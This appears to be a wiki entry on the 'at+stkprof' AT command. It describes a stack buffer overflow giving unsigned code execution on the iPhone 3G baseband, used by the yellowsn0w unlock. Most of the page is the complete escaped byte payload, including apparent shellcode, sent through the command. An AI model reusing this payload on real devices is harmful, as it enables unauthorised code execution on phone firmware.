AT+stkprof

Used as an injection vector for the first iPhone 3G unlock payload.

Credit

geohot

Exploit

There is a stack-based buffer overflow in the at+stkprof command that allows unsigned code execution on the iPhone 3G baseband.

Implementation

The dev team used this exploit in the first public iPhone 3G unlock called yellowsn0w. It can be downloaded from Cydia, and is a daemon that will run in the background. It will inject their payload whenever the baseband is reset.

The source code (for old version 0.9.1) is also available here [1]

New Implementation (yellowsn0w 0.9.8)

In the newest yellowsn0w, this command is still used as the injection vector for the exploit, but it is used differently. It is still the at+stkprof command, but it seems to send their stuff all in one go.

at+stkprof=1,"\x30\x36
\x34\x61\x35\x34\x31\x63\x30\x34\x34\x62\x31\x38\x37\x38\x32\x32
\x32\x38\x30\x33\x64\x30\x31\x30\x37\x30\x30\x31\x33\x32\x30\x31
\x33\x33\x66\x38\x65\x37\x32\x30\x34\x37\x30\x30\x30\x30\x62\x66
\x39\x66\x31\x35\x34\x30\x30\x30\x31\x37\x30\x31\x30\x30\x35\x34
\x36\x65\x35\x36\x34\x30\x32\x30\x30\x30\x30\x30\x30\x30\x35\x63
\x31\x33\x30\x31\x30\x30\x32\x36\x36\x65\x35\x36\x34\x30\x64\x64
\x64\x64\x64\x64\x64\x64\x65\x65\x65\x65\x65\x65\x65\x65\x62\x38
\x39\x30\x35\x31\x32\x30\x30\x30\x30\x30\x30\x30\x30\x30\x31\x30
\x31\x30\x31\x30\x31\x30\x32\x30\x32\x30\x32\x30\x32\x30\x36\x31
\x31\x33\x30\x31\x30\x30\x30\x63\x30\x30\x30\x30\x30\x30\x22\x3B
\x22\x10\x32\x0F\x27\xBA\x43\x17\x1C\x0E\xA4\x0B\xA5\x01\x35\x21
\x78\x78\x29\x0C\xD0\xA8\x47\x0B\x01\x61\x78\xA8\x47\xC0\x46\xC0
\x46\xC0\x46\xC0\x46\xC9\x18\x11\x70\x02\x34\x01\x32\xEF\xE7\xC0
\x46\xC0\x46\x01\x37\x38\x47\x30\x30\x41\x29\x01\xDA\x30\x39\x70
\x47\x37\x39\x70\x47\x30\x32\x34\x38\x30\x33\x41\x31\x30\x31\x33
\x31\x30\x31\x36\x30\x31\x46\x42\x44\x30\x30\x30\x30\x34\x43\x37
\x31\x31\x31\x34\x30\x46\x30\x42\x35\x31\x43\x34\x42\x38\x30\x32
\x36\x38\x42\x42\x30\x33\x36\x30\x31\x31\x38\x38\x30\x30\x38\x39
\x31\x31\x41\x34\x43\x33\x30\x31\x43\x41\x30\x34\x37\x30\x30\x32
\x35\x30\x39\x39\x30\x39\x38\x32\x30\x41\x30\x34\x37\x30\x37\x31
\x43\x43\x35\x36\x30\x38\x30\x32\x30\x34\x30\x30\x30\x41\x30\x34
\x37\x38\x30\x32\x32\x31\x34\x34\x39\x35\x32\x30\x30\x31\x34\x34
\x42\x30\x34\x31\x43\x39\x38\x34\x37\x30\x39\x39\x42\x30\x31\x39
\x33\x34\x34\x32\x33\x30\x33\x39\x33\x30\x41\x32\x33\x30\x31\x33
\x34\x30\x35\x39\x33\x30\x43\x32\x33\x32\x32\x31\x43\x30\x36\x39
\x33\x30\x46\x34\x39\x30\x30\x39\x35\x30\x32\x39\x36\x30\x34\x39
\x35\x33\x38\x31\x43\x30\x30\x32\x33\x30\x44\x34\x43\x41\x30\x34
\x37\x30\x32\x31\x43\x30\x30\x32\x38\x30\x34\x44\x31\x30\x42\x34
\x39\x30\x38\x39\x38\x30\x42\x34\x42\x39\x38\x34\x37\x30\x33\x45
\x30\x30\x42\x34\x39\x30\x38\x39\x38\x30\x39\x34\x42\x39\x38\x34
\x37\x30\x42\x42\x30\x46\x30\x42\x44\x30\x30\x30\x30\x34\x34\x42
\x33\x33\x42\x34\x30\x41\x43\x32\x30\x31\x34\x32\x30\x36\x34\x31
\x41\x30\x31\x30\x30\x41\x30\x35\x38\x33\x43\x32\x30\x34\x38\x31
\x41\x30\x31\x30\x30\x34\x30\x42\x35\x33\x46\x32\x30\x35\x34\x31
\x41\x30\x31\x30\x30\x30\x30\x44\x44\x34\x36\x32\x30\x35\x38\x31
\x41\x30\x31\x30\x30\x36\x34\x36\x35\x37\x36\x37\x34\x36\x35\x36
\x31\x36\x44\x33\x31\x30\x30\x30\x30\x30\x30\x30\x30\x34\x46\x34
\x42\x32\x31\x30\x30\x34\x35\x35\x32\x35\x32\x34\x46\x35\x32\x32
\x30\x32\x35\x36\x34\x30\x30\x30\x30\x30\x30\x30\x30\x33\x30\x42
\x35\x31\x31\x34\x44\x38\x35\x42\x30\x31\x31\x34\x42\x32\x38\x31
\x43\x36\x39\x34\x36\x46\x46\x32\x32\x39\x38\x34\x37\x30\x30\x39
\x42\x30\x44\x32\x42\x31\x31\x44\x31\x30\x31\x39\x39\x30\x44\x34
\x42\x30\x41\x36\x38\x31\x41\x36\x30\x30\x34\x33\x33\x34\x41\x36
\x38\x31\x41\x36\x30\x38\x41\x36\x38\x30\x42\x34\x42\x31\x33\x36
\x30\x30\x42\x34\x42\x35\x33\x36\x30\x30\x42\x34\x42\x39\x33\x36
\x30\x30\x31\x32\x33\x43\x42\x36\x30\x32\x30\x32\x33\x30\x30\x39
\x33\x32\x38\x31\x43\x36\x39\x34\x36\x46\x46\x32\x32\x30\x37\x34
\x42\x39\x38\x34\x37\x44\x46\x45\x37\x30\x30\x30\x30\x35\x34\x32
\x37\x32\x33\x34\x30\x39\x38\x35\x39\x31\x36\x32\x30\x42\x43\x37
\x39\x32\x46\x34\x30\x30\x30\x46\x46\x30\x30\x30\x31\x30\x31\x30
\x34\x30\x32\x30\x34\x30\x33\x30\x34\x30\x34\x30\x34\x36\x38\x44
\x35\x33\x45\x32\x30\x78\x78"

Information on how this was used can be found here